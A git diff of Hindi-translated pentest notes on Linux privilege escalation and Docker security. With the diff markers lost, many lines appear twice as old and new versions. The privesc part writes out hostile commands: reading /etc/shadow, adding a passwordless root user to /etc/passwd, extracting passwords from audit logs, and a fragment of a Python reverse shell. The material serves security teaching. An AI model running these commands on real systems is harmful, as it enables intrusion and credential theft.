एक्सेस कंट्रोल लिस्ट (ACLs) विवेाधीन अनुमतियों की द्वितीयक परत का प्रतिनिधित्व करती हैं, जो **पारंपरिक ugo/rwx अनुमतियों को ओवरराइड** करने में सक्षम हैं। ये अनुमतियाँ फ़ाइल या निर्देशिका के एक्सेस पर नियंत्रण को बढ़ाती हैं, विशेष उपयोगकर्ताओं को अधिकार देने या अस्वीकार करने की अनुमति देकर, जो मालिक या समूह का हिस्सा नहीं होते। यह स्तर की **सूक्ष्मता अधिक सटीक एक्सेस प्रबंधन सुनिश्चित करती है**आगे की जानकारी [**यहाँ**](https://linuxconfig.org/how-to-manage-acls-on-linux) मिल सकती है।
एक्सेस कंट्रोल लिस्ट (ACLs) वैकल्पिक अनुमतियों की द्वितीयक परत का प्रतिनिधित्व करती हैं, जो **पारंपरिक ugo/rwx अनुमतियों को ओवरराइड** करने में सक्षम हैं। ये अनुमतियाँ फ़ाइल या निर्देशिका के एक्सेस पर नियंत्रण को बढ़ाती हैं, विशेष उपयोगकर्ताओं को अधिकार देने या अस्वीकार करने की अनुमति देकर जो मालिक या समूह का हिस्सा नहीं हैं। यह स्तर की **सूक्ष्मता अधिक सटीक एक्सेस प्रबंधन सुनिश्चित करती है**अधिक विवरण [**यहाँ**](https://linuxconfig.org/how-to-manage-acls-on-linux) पाया जा सकता है।
**उपयोगकर्ता "kali" को एक फ़ाइल पर पढ़ने और लिखने की अनुमतियाँ दें:**
```bash
@ -1113,7 +1117,7 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
**Valentine box from HTB** के लिए एक उदाहरण देखें।
Check **Valentine box from HTB** for an example.
## SSH
@ -1122,7 +1126,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
सभी SSL और SSH कुंजी जो Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर सितंबर 2006 और 13 मई 2008 के बीच उत्पन्न की गई थीं, इस बग से प्रभावित हो सकती हैं।\
यह बग उन OS में एक नई ssh कुंजी बनाने के दौरान होता है, क्योंकि **केवल 32,768 भिन्नताएँ संभव थीं**। इसका मतलब है कि सभी संभावनाएँ गणना की जा सकती हैं और **ssh सार्वजनिक कुंजी होने पर आप संबंधित निजी कुंजी के लिए खोज कर सकते हैं**। आप यहाँ गणना की गई संभावनाएँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH दिलचस्प कॉन्फ़िगरेशन मान
### SSH Interesting configuration values
- **PasswordAuthentication:** यह निर्दिष्ट करता है कि क्या पासवर्ड प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `no` है।
- **PubkeyAuthentication:** यह निर्दिष्ट करता है कि क्या सार्वजनिक कुंजी प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `yes` है।
@ -1134,7 +1138,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
- `yes`: रूट पासवर्ड और निजी कुंजी का उपयोग करके लॉगिन कर सकता है
- `without-password` या `prohibit-password`: रूट केवल निजी कुंजी के साथ लॉगिन कर सकता है
- `forced-commands-only`: रूट केवल निजी कुंजी का उपयोग करके लॉगिन कर सकता है और यदि कमांड विकल्प निर्दिष्ट किए गए हैं
- `forced-commands-only`: रूट केवल निजी कुंजी का उपयोग करके और यदि कमांड विकल्प निर्दिष्ट किए गए हैं, तो लॉगिन कर सकता है
- `no` : नहीं
### AuthorizedKeysFile
@ -1143,7 +1147,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
वह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **private** कुंजी के साथ लॉगिन करने का प्रयास करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों के साथ करेगा।
वह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **private** कुंजी के साथ लॉगिन करने की कोशिश करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों के साथ करेगा।
### ForwardAgent/AllowAgentForwarding
@ -1154,12 +1158,12 @@ SSH एजेंट फॉरवर्डिंग आपको **अपनी
Host example.com
ForwardAgent yes
```
ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता एक अलग मशीन पर कूदता है, वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)।
ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)।
फाइल `/etc/ssh_config` इस **विकल्पों** को **ओवरराइड** कर सकती है और इस कॉन्फ़िगरेशन की अनुमति या अस्वीकृति कर सकती है।\
फाइल `/etc/sshd_config` ssh-agent फॉरवर्डिंग को कीवर्ड `AllowAgentForwarding` के साथ **अनुमति** या **अस्वीकृति** कर सकती है (डिफ़ॉल्ट अनुमति है)।
यदि आप पाते हैं कि फॉरवर्ड एजेंट क वातावरण में कॉन्फ़िगर किया गया है, तो निम्नलिखित पृष्ठ को पढ़ें क्योंकि **आप इसे विशेषाधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**:
यदि आप पाते हैं कि फॉरवर्ड एजेंट किसी वातावरण में कॉन्फ़िगर किया गया है, तो निम्नलिखित पृष्ठ को पढ़ें क्योंकि **आप इसे विशेषाधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**:
{{#ref}}
ssh-forward-agent-exploitation.md
@ -1169,7 +1173,7 @@ ssh-forward-agent-exploitation.md
### प्रोफाइल फ़ाइलें
फाइल `/etc/profile` और `/etc/profile.d/` के अंतर्गत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब एक उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**
फाइल `/etc/profile` और `/etc/profile.d/` के अंतर्गत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**
```bash
ls -l /etc/profile /etc/profile.d/
```
@ -1184,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
कई मौकों पर आप **password hashes** को `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर पा सकते हैं।
कई अवसरों पर आप **password hashes** को `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर पा सकते हैं।
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
@ -1210,7 +1214,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
नोट: BSD प्लेटफार्मों पर `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित है, साथ ही `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है।
नोट: BSD प्लेटफार्मों में `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित है, और `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है।
आपको यह जांचना चाहिए कि क्या आप कुछ **संवेदनशील फ़ाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप कुछ **सेवा कॉन्फ़िगरेशन फ़ाइल** में लिख सकते हैं?
```bash
@ -1231,7 +1235,7 @@ Group=root
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
### अजीब स्थान/स्वामित्व फ़ाइलें
### अजीब स्थान/स्वामित्व वाली फ़ाइलें
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@ -1280,14 +1284,14 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```bash
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
```
### Known files containing passwords
### ज्ञात फ़ाइलें जिनमें पासवर्ड होते हैं
Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), यह **कई संभावित फ़ाइलों की खोज करता है जो पासवर्ड हो सकते हैं**।\
**एक और दिलचस्प उपकरण** जिसका आप इसका उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक ओपन-सोर्स एप्लिकेशन है जिसका उपयोग Windows, Linux और Mac पर स्थानीय कंप्यूटर पर संग्रहीत कई पासवर्ड पुनर्प्राप्त करने के लिए किया जाता है।
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) का कोड पढ़ें, यह **कई संभावित फ़ाइलों की खोज करता है जो पासवर्ड रख सकती हैं**।\
**एक और दिलचस्प उपकरण** जिसका आप इसका उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक ओपन-सोर्स एप्लिकेशन है जिसका उपयोग Windows, Linux और Mac के लिए स्थानीय कंप्यूटर पर संग्रहीत कई पासवर्ड पुनर्प्राप्त करने के लिए किया जाता है।
### Logs
### लॉग
यदि आप लॉग पढ़ सकते हैं, तो आप **उनमें दिलचस्प/गोपनीय जानकारी खोजने में सक्षम हो सकते हैं**। लॉग जितना अजीब होगा, यह उतना ही दिलचस्प होगा (संभवतः)।\
यदि आप लॉग पढ़ सकते हैं, तो आप **उनमें दिलचस्प/गोपनीय जानकारी** पा सकते हैं। लॉग जितना अजीब होगा, वह उतना ही दिलचस्प होगा (संभवतः)।\
इसके अलावा, कुछ "**खराब**" कॉन्फ़िगर किए गए (बैकडोर?) **ऑडिट लॉग** आपको **ऑडिट लॉग में पासवर्ड रिकॉर्ड करने** की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
@ -1326,9 +1330,9 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
`logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **root** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए।
> [!NOTE]
> यह सुरक्षा कमी `logrotate` संस्करण `3.18.0` और पुराने पर प्रभाव डालती है
> यह सुरक्षा कमी `logrotate` संस्करण `3.18.0` और पुराने को प्रभावित करती है
सुरक्षा कमी के बारे में अधिक विस्तृत जानकारी इस पृष्ठ पर मिल सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
सुरक्षा कमी के बारे में अधिक विस्तृत जानकारी इस पृष्ठ पर मिल सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)
आप इस सुरक्षा कमी का शोषण [**logrotten**](https://github.com/whotwagner/logrotten) के साथ कर सकते हैं।
@ -1340,7 +1344,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
यदि, किसी भी कारण से, एक उपयोगकर्ता _/etc/sysconfig/network-scripts_ में **लेखन** करने में सक्षम है `ifcf-<whatever>` स्क्रिप्ट या यह एक मौजूदा स्क्रिप्ट को **समायोजित** कर सकता है, तो आपका **सिस्टम प्वंड है**
नेटवर्क स्क्रिप्ट, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शनों के लिए उपयोग की जाती हैं। वे ठीक .INI फ़ाइलों की तरह दिखती हैं। हालाँकि, उन्हें Linux पर नेटवर्क प्रबंधक (dispatcher.d) द्वारा \~sourced\~ किया जाता है।
नेटवर्क स्क्रिप्ट, _ifcg-eth0_ उदाहरण के लिए, नेटवर्क कनेक्शनों के लिए उपयोग की जाती हैं। वे बिल्कुल .INI फ़ाइलों की तरह दिखती हैं। हालाँकि, उन्हें Linux पर नेटवर्क प्रबंधक (dispatcher.d) द्वारा \~sourced\~ किया जाता है।
मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि आपके नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ root के रूप में निष्पादित होता है**
@ -1352,11 +1356,11 @@ DEVICE=eth0
```
### **init, init.d, systemd, और rc.d**
डायरेक्टरी `/etc/init.d` **System V init (SysVinit)** के लिए **स्क्रिप्ट** का घर है, जो **क्लासिक Linux सेवा प्रबंधन प्रणाली** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट शामिल हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले प्रतीकात्मक लिंक के माध्यम से निष्पादित किया जा सकता है। Redhat सिस्टम में एक वैकल्पिक पथ `/etc/rc.d/init.d` है।
डायरेक्टरी `/etc/init.d` **System V init (SysVinit)** के लिए **स्क्रिप्ट्स** का घर है, जो **क्लासिक Linux सेवा प्रबंधन प्रणाली** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट्स शामिल हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले प्रतीकात्मक लिंक के माध्यम से निष्पादित किया जा सकता है। Redhat सिस्टम में एक वैकल्पिक पथ `/etc/rc.d/init.d` है।
दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश किया गया एक नया **सेवा प्रबंधन** है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करत है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है।
दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश की गई एक नई **सेवा प्रबंधन** प्रणाली है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करत है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट्स अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है।
**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेजों के लिए फ़ाइलों को `/usr/lib/systemd/` में और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा सके
**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेजों के लिए `/usr/lib/systemd/` और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में फ़ाइलों को व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा रहा है
## अन्य तरकीबें
@ -1383,7 +1387,7 @@ cisco-vmanage.md
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
- [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
## अधिक मदद
## अधिक सहायता
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
@ -1400,7 +1404,7 @@ cisco-vmanage.md
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (भौतिक पहुंच):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**अधिक स्क्रिप्टों का संकलन**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
**अधिक स्क्रिप्ट्स का संकलन**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## संदर्भ

View File

@ -4,15 +4,15 @@
## **बुनियादी Docker इंजन सुरक्षा**
**Docker इंजन** लिनक्स कर्नेल के **Namespaces** और **Cgroups** का उपयोग करके कंटेनरों को अलग करता है, जो सुरक्षा की एक बुनियादी परत प्रदान करता है। **Capabilities dropping**, **Seccomp**, और **SELinux/AppArmor** के माध्यम से अतिरिक्त सुरक्षा प्रदान की जाती है, जो कंटेनर अलगाव को बढ़ाती है। एक **auth plugin** उपयोगकर्ता क्रियाओं को और अधिक सीमित कर सकता है।
**Docker इंजन** Linux कर्नेल के **Namespaces** और **Cgroups** का उपयोग करके कंटेनरों को अलग करता है, जो सुरक्षा की एक बुनियादी परत प्रदान करता है। **Capabilities dropping**, **Seccomp**, और **SELinux/AppArmor** के माध्यम से अतिरिक्त सुरक्षा प्रदान की जाती है, जो कंटेनर अलगाव को बढ़ाती है। एक **auth plugin** उपयोगकर्ता क्रियाओं को और अधिक सीमित कर सकता है।
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Docker इंजन तक सुरक्षित पहुंच
Docker इंजन को या तो स्थानीय रूप से एक Unix सॉकेट के माध्यम से या HTTP का उपयोग करके दूरस्थ रूप से एक्सेस किया जा सकता है। दूरस्थ पहुंच के लिए, गोपनीयता, अखंडता और प्रमाणीकरण सुनिश्चित करने के लिए HTTPS और **TLS** का उपयोग करना आवश्यक है।
Docker इंजन को या तो स्थानीय रूप से Unix सॉकेट के माध्यम से या HTTP का उपयोग करके दूरस्थ रूप से एक्सेस किया जा सकता है। दूरस्थ पहुंच के लिए, गोपनीयता, अखंडता और प्रमाणीकरण सुनिश्चित करने के लिए HTTPS और **TLS** का उपयोग करना आवश्यक है।
Docker इंजन, डिफ़ॉल्ट रूप से, `unix:///var/run/docker.sock` पर Unix सॉकेट पर सुनता है। उबंटू सिस्टम पर, Docker के स्टार्टअप विकल्प `/etc/default/docker` में परिभाषित होते हैं। Docker API और क्लाइंट के लिए दूरस्थ पहुंच सक्षम करने के लिए, HTTP सॉकेट के माध्यम से Docker डेमन को उजागर करने के लिए निम्नलिखित सेटिंग्स जोड़ें:
Docker इंजन, डिफ़ॉल्ट रूप से, `unix:///var/run/docker.sock` पर Unix सॉकेट पर सुनता है। Ubuntu सिस्टम पर, Docker के स्टार्टअप विकल्प `/etc/default/docker` में परिभाषित होते हैं। Docker API और क्लाइंट के लिए दूरस्थ पहुंच सक्षम करने के लिए, HTTP सॉकेट के माध्यम से Docker डेमन को उजागर करने के लिए निम्नलिखित सेटिंग्स जोड़ें:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
@ -20,21 +20,21 @@ sudo service docker restart
हालांकि, HTTP के माध्यम से Docker डेमन को उजागर करना सुरक्षा चिंताओं के कारण अनुशंसित नहीं है। कनेक्शनों को HTTPS का उपयोग करके सुरक्षित करना उचित है। कनेक्शन को सुरक्षित करने के लिए दो मुख्य दृष्टिकोण हैं:
1. क्लाइंट सर्वर की पहचान की पुष्टि करता है।
2. क्लाइंट और सर्वर एक-दूसरे की पहचान की आपसी पुष्टि करते हैं।
2. क्लाइंट और सर्वर एक-दूसरे की पहचान की आपसी प्रमाणीकरण करते हैं।
सर्टिफिकेट का उपयोग सर्वर की पहचान की पुष्टि करने के लिए किया जाता है। दोनों विधियों के विस्तृत उदाहरणों के लिए, [**इस गाइड**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) को देखें।
सर्वर की पहचान की पुष्टि करने के लिए प्रमाणपत्रों का उपयोग किया जाता है। दोनों विधियों के विस्तृत उदाहरणों के लिए, [**इस गाइड**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) को देखें।
### कंटेनर छवियों की सुरक्षा
कंटेनर छवियों को निजी या सार्वजनिक रिपॉजिटरी में संग्रहीत किया जा सकता है। Docker कंटेनर छवियों के लिए कई संग्रहण विकल्प प्रदान करता है:
कंटेनर छवियों को निजी या सार्वजनिक भंडार में संग्रहीत किया जा सकता है। Docker कंटेनर छवियों के लिए कई भंडारण विकल्प प्रदान करता है:
- [**Docker Hub**](https://hub.docker.com): Docker से एक सार्वजनिक रजिस्ट्री सेवा।
- [**Docker Registry**](https://github.com/docker/distribution): एक ओपन-सोर्स प्रोजेक्ट जो उपयोगकर्ताओं को अपनी खुद की रजिस्ट्री होस्ट करने की अनुमति देता है।
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker की व्यावसायिक रजिस्ट्री पेशकश, जिसमें भूमिका-आधारित उपयोगकर्ता प्रमाणीकरण और LDAP निर्देशिका सेवाओं के साथ एकीकरण शामिल है।
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker का व्यावसायिक रजिस्ट्री प्रस्ताव, जिसमें भूमिका-आधारित उपयोगकर्ता प्रमाणीकरण और LDAP निर्देशिका सेवाओं के साथ एकीकरण शामिल है।
### छवि स्कैनिंग
कंटेनरों में **सुरक्षा कमजोरियाँ** हो सकती हैं या तो आधार छवि के कारण या आधार छवि के शीर्ष पर स्थापित सॉफ़्टवेयर के कारण। Docker एक प्रोजेक्ट पर काम कर रहा है जिसे **Nautilus** कहा जाता है, जो कंटेनरों का सुरक्षा स्कैन करता है और कमजोरियों की सूची बनाता है। Nautilus प्रत्येक कंटेनर छवि परत की तुलना कमजोरियों के रिपॉजिटरी से करता है ताकि सुरक्षा खामियों की पहचान की जा सके।
कंटेनरों में **सुरक्षा कमजोरियाँ** हो सकती हैं या तो आधार छवि के कारण या आधार छवि के शीर्ष पर स्थापित सॉफ़्टवेयर के कारण। Docker एक प्रोजेक्ट पर काम कर रहा है जिसे **Nautilus** कहा जाता है, जो कंटेनरों का सुरक्षा स्कैन करता है और कमजोरियों की सूची बनाता है। Nautilus प्रत्येक कंटेनर छवि परत की तुलना कमजोरियों के भंडार से करता है ताकि सुरक्षा छिद्रों की पहचान की जा सके।
अधिक [**जानकारी के लिए इसे पढ़ें**](https://docs.docker.com/engine/scan/)।
@ -70,13 +70,13 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Docker Image Signing
Docker इमेज साइनिंग कंटेनरों में उपयोग की जाने वाली इमेज की सुरक्षा और अखंडता सुनिश्चित करता है। यहाँ एक संक्षिप्त व्याख्या है:
Docker इमेज साइनिंग कंटेनरों में उपयोग की जाने वाली इमेजों की सुरक्षा और अखंडता सुनिश्चित करता है। यहाँ एक संक्षिप्त व्याख्या है:
- **Docker Content Trust** Notary प्रोजेक्ट का उपयोग करता है, जो The Update Framework (TUF) पर आधारित है, इमेज साइनिंग प्रबंधित करने के लिए। अधिक जानकारी के लिए, देखें [Notary](https://github.com/docker/notary) और [TUF](https://theupdateframework.github.io)।
- Docker कंटेंट ट्रस्ट को सक्रिय करने के लिए, सेट करें `export DOCKER_CONTENT_TRUST=1`। यह सुविधा Docker संस्करण 1.10 और बाद में डिफ़ॉल्ट रूप से बंद होती है।
- इस सुविधा को सक्षम करने पर, केवल साइन की गई इमेज डाउनलोड की जा सकती हैं। प्रारंभिक इमेज पुश के लिए रूट और टैगिंग कुंजियों के लिए पासफ़्रेज़ सेट करना आवश्यक है, Docker Yubikey के लिए भी समर्थन करता है ताकि सुरक्षा बढ़ सके। अधिक विवरण [यहाँ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) मिल सकते हैं।
- Docker कंटेंट ट्रस्ट को सक्रिय करने के लिए, सेट करें `export DOCKER_CONTENT_TRUST=1`। यह सुविधा Docker संस्करण 1.10 और बाद में डिफ़ॉल्ट रूप से बंद है।
- इस सुविधा को सक्षम करने के साथ, केवल साइन की गई इमेजों को डाउनलोड किया जा सकता है। प्रारंभिक इमेज पुश के लिए रूट और टैगिंग कुंजियों के लिए पासफ़्रेज़ सेट करना आवश्यक है, Docker Yubikey के लिए भी समर्थन करता है ताकि सुरक्षा बढ़ सके। अधिक विवरण [यहाँ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) मिल सकते हैं।
- कंटेंट ट्रस्ट सक्षम होने पर एक असाइन की गई इमेज को खींचने का प्रयास करने पर "No trust data for latest" त्रुटि होती है।
- पहले के बाद इमेज पुश के लिए, Docker इमेज को साइन करने के लिए रिपॉजिटरी कुंजी का पासफ़्रेज़ पूछता है।
- पहले के बाद इमेज पुश के लिए, Docker इमेज को साइन करने के लिए रिपॉजिटरी कुंजी के पासफ़्रेज़ के लिए पूछता है।
अपने निजी कुंजियों का बैकअप लेने के लिए, कमांड का उपयोग करें:
```bash
@ -98,17 +98,17 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
- **उद्देश्य**: प्रक्रियाओं, नेटवर्क और फ़ाइल सिस्टम जैसे संसाधनों का पृथक्करण सुनिश्चित करना। विशेष रूप से डॉकर में, नेमस्पेस एक कंटेनर की प्रक्रियाओं को होस्ट और अन्य कंटेनरों से अलग रखते हैं।
- **`unshare` का उपयोग**: `unshare` कमांड (या अंतर्निहित syscall) का उपयोग नए नेमस्पेस बनाने के लिए किया जाता है, जो पृथक्करण की एक अतिरिक्त परत प्रदान करता है। हालाँकि, जबकि कुबेरनेट्स स्वाभाविक रूप से इसे रोकता नहीं है, डॉकर ऐसा करता है।
- **सीमा**: नए नेमस्पेस बनाने से एक प्रक्रिया को होस्ट के डिफ़ॉल्ट नेमस्पेस में वापस लौटने की अनुमति नहीं मिलती। होस्ट के नेमस्पेस में प्रवेश करने के लिए, आमतौर पर होस्ट के `/proc` निर्देशिका तक पहुँच की आवश्यकता होती है, प्रवेश के लिए `nsenter` का उपयोग करते हुए।
- **सीमा**: नए नेमस्पेस बनाने से एक प्रक्रिया को होस्ट के डिफ़ॉल्ट नेमस्पेस में वापस लौटने की अनुमति नहीं मिलती। होस्ट नेमस्पेस में प्रवेश करने के लिए, आमतौर पर होस्ट के `/proc` निर्देशिका तक पहुँच की आवश्यकता होती है, प्रवेश के लिए `nsenter` का उपयोग करते हुए।
**कंट्रोल ग्रुप्स (CGroups)**
- **कार्य**: मुख्य रूप से प्रक्रियाओं के बीच संसाधनों का आवंटन करने के लिए उपयोग किया जाता है।
- **सुरक्षा पहलू**: CGroups स्वयं पृथक्करण सुरक्षा प्रदान नहीं करते, सिवाय `release_agent` विशेषता के, जो यदि गलत कॉन्फ़िगर की गई हो, तो अनधिकृत पहुँच के लिए शोषित की जा सकती है।
- **सुरक्षा पहलू**: CGroups स्वयं पृथक्करण सुरक्षा प्रदान नहीं करते, सिवाय `release_agent` विशेषता के, जो यदि गलत कॉन्फ़िगर की गई हो, तो अनधिकृत पहुँच के लिए संभावित रूप से शोषित की जा सकती है।
**क्षमता ड्रॉप**
- **महत्व**: यह प्रक्रिया पृथक्करण के लिए एक महत्वपूर्ण सुरक्षा विशेषता है।
- **कार्यात्मकता**: यह रूट प्रक्रिया द्वारा किए जाने वाले कार्यों को कुछ क्षमताओं को ड्रॉप करके प्रतिबंधित करता है। भले ही एक प्रक्रिया रूट विशेषाधिकारों के साथ चली हो, आवश्यक क्षमताओं की कमी इसे विशेषाधिकार प्राप्त कार्यों को निष्पादित करने से रोकती है, क्योंकि syscalls अपर्याप्त अनुमतियों के कारण विफल हो जाएंगे।
- **कार्यात्मकता**: यह रूट प्रक्रिया द्वारा किए जा सकने वाले कार्यों को कुछ क्षमताओं को ड्रॉप करके प्रतिबंधित करता है। भले ही एक प्रक्रिया रूट विशेषाधिकारों के साथ चल रही हो, आवश्यक क्षमताओं की कमी इसे विशेषाधिकार प्राप्त कार्यों को निष्पादित करने से रोकती है, क्योंकि syscalls अपर्याप्त अनुमतियों के कारण विफल हो जाएंगे।
ये हैं **बची हुई क्षमताएँ** जब प्रक्रिया ने अन्य को ड्रॉप किया:
```
